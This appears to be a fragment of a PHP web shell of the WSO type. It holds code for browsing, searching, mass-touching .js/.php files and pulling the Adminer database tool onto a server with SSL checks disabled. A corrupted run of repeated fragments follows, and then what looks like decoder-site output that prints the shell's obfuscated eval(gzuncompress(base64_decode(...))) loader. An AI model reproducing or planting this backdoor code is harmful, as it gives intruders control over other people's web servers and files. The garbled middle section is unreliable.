if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"Files\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"Files\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"Files\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th><a href='#'>Owner/Group</a></th><th><a href='#' onclick='g(\"Files\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th><a href='#'>Actions</a></th></tr>";
$dirs=$files=array();
$n=count($dirContent);
for($i=0;$i<$n;$i++){
$ow=@posix_getpwuid(@fileowner($dirContent[$i]));
$gr=@posix_getgrgid(@filegroup($dirContent[$i]));
$tmp=array('name'=>$dirContent[$i],'path'=>$GLOBALS['cwd'].$dirContent[$i],'modify'=>date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),'perms'=>viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),'size'=>@filesize($GLOBALS['cwd'].$dirContent[$i]),'owner'=>$ow['name']?$ow['name']:@fileowner($dirContent[$i]),'group'=>$gr['name']?$gr['name']:@filegroup($dirContent[$i]));
if(@is_file($GLOBALS['cwd'].$dirContent[$i])){$files[]=array_merge($tmp,array('type'=>'file'));}
elseif(@is_link($GLOBALS['cwd'].$dirContent[$i])){$dirs[]=array_merge($tmp,array('type'=>'link','link'=>readlink($tmp['path'])));}
elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&&($dirContent[$i]!='.')){$dirs[]=array_merge($tmp, array('type' => 'dir'));}
}
$GLOBALS['sort']=$sort;
function cmp($a,$b){if($GLOBALS['sort'][0]!='size'){return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);}else{return (($a['size']<$b['size'])?-1:1)*($GLOBALS['sort'][1]?1:-1);}
}
usort($files,'cmp');
usort($dirs,'cmp');
$files=array_merge($dirs,$files);
$l=0;
foreach($files as $f){
echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'Files\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms'].'</td><td><a class="tooltip" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a class="tooltip" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a class="tooltip" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a class="tooltip" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a> <a class="tooltip" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'link\')">L</a>':'').'</td></tr>';
$l=$l?0:1;
}
echo "<tr id=dmcp><td colspan=7><input type=hidden name=ne value=''><input type=hidden name=a value='Files'><input type=hidden name=c value='".htmlspecialchars($GLOBALS['cwd'])."'><input type=hidden name=chs value='". (isset($_POST['chs'])?$_POST['chs']:'')."'><input type='submit' name=w1 value='Delete'> <input type='submit' name=w1 value='Move'> <input type='submit' name=w1 value='Copy'>";
if((@$_COOKIE['a']=='Copy'||@$_COOKIE['a']=='Move')&&is_array($_COOKIE['f'])){echo " <input type='submit' name=w1 value='Paste'>";}
echo "</td></tr></form></table></div>";
hf();
}
function actionSearch(){
hh();
echo "<h1>Search:</h1><div class=content><form onsubmit=\"g(null,this.cwd.value,this.filesize.value,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'><tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr><tr><td>Path:</td><td><input type='text' name='cwd' value='".htmlspecialchars($GLOBALS['cwd'])."' style='width:100%'></td></tr><tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr><tr><td>Filesize(1mb):</td><td><input type='text' name='filesize' value='1000000' style='width:100%'></td></tr><tr><td></td><td><input type=hidden name=chs value='".(isset($_POST['chs'])?$_POST['chs']:'')."'><input type='submit' value='>>'></td></tr></table></form>";
function hardRecursiveGlob($p){if(substr($p,-1)!='/'){$p.='/';}$a=@array_unique(@array_merge(@glob($p.$_POST['w3']),@glob($p.'*',GLOB_ONLYDIR)));if(is_array($a)&&@count($a)){foreach($a as $){if(@is_dir($)){if($p!=$){hardRecursiveGlob($);}}else{if(@filesize($)<$_POST['w1']&&(empty($_POST['w2'])||@strpos(file_get_contents($),$_POST['w2'])!==false)){echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($)."\", \"view\",\"\")'>".htmlspecialchars($)."</a><br>";}}}}}
if(@$_POST['w3']){hardRecursiveGlob($_POST['c']);}
hf();
}
function actionToucher(){
hh();
if(@$_POST['w1']=='Toucher'){global $n,$d;$n=0;$d=0;$t=time();function s($p){global $n,$d;if(!preg_match('/\.$/',$p)){if(is_dir($p)&&!is_link($p)){$g=opendir("$p");while($f=readdir($g)){s("$p/$f");}closedir($g);}else{if(preg_match('/'.$_POST['filename'].'/im',$p)&&!is_link($p)&&@filesize($p)<$_POST['filesize']){$n++;if(rename($p,$p.'NDrjIgdC')){if(copy($p.'NDrjIgdC',$p)){$d++;unlink($p.'NDrjIgdC');}else{rename($p.'NDrjIgdC',$p);}}}}}}s($_POST['w2']);echo('Files touched: '.$d.'/'.$n.'<br>Seconds passed: '.(time()-$t));}
echo "<h1>Toucher</h1><div class=content><form method='post'><input type=hidden name=ne value=''><input type=hidden name=a value=Toucher><input type=hidden name=w1 value=Toucher><table cellpadding='1' cellspacing='0' width='50%'><tr><td width='1%'>Path:</td><td><input type='text' name='w2' value='".htmlspecialchars($GLOBALS['cwd'])."' style='width:100%'></td></tr><tr><td>Name:</td><td><input type='text' name='filename' value='\.(js|php)$' style='width:100%'></td></tr><tr><td>Filesize(1mb):</td><td><input type='text' name='filesize' value='1000000' style='width:100%'></td></tr><tr><td></td><td><input type=hidden name=chs value='".(isset($_POST['chs'])?$_POST['chs']:'')."'><input type='submit' value='>>'></td></tr></table></form></div>";
hf();
}
function actionAdminer(){
hh();
if(@$_POST['w1']=='Download'){$u='https://www.adminer.org/latest-en.php';$r=@file_get_contents($u,false,stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false))));if($r!==false){file_put_contents($GLOBALS['cwd'].'njGai.php',$r);}else{$c=curl_init();curl_setopt($c,CURLOPT_URL,$u);curl_setopt($c,CURLOPT_RETURNTRANSFgL']=='fileB' value='10000ntents(${ode($_POST['{}3'].'nT
/16T_RETURNTRANSFgL']=='fileB' value='10000ntents(${ode($_POST['{}3'].'nT
/16T_RETURNTRANSFgL'lue='k2%'></td></idA00000nTon_e/16e($_POST['{}3'].'nT
/16T_RETURNTRANSFgL'lue='k2%'></td></idA00000nTon_e/16e($_POST['{}3'].' stylk2ilesize(1midA0ANSFgT($_P/16'></td></idA00000nTon_e/16e($_POST['{}3'].' stylk2ilesize(1midA0ANSFgT($_P/16'></td></idA00000inputk2pe=hidden idA0{}3']T
Did this file decode correctly?
Original Code
eval(gzuncompress(base64_decode('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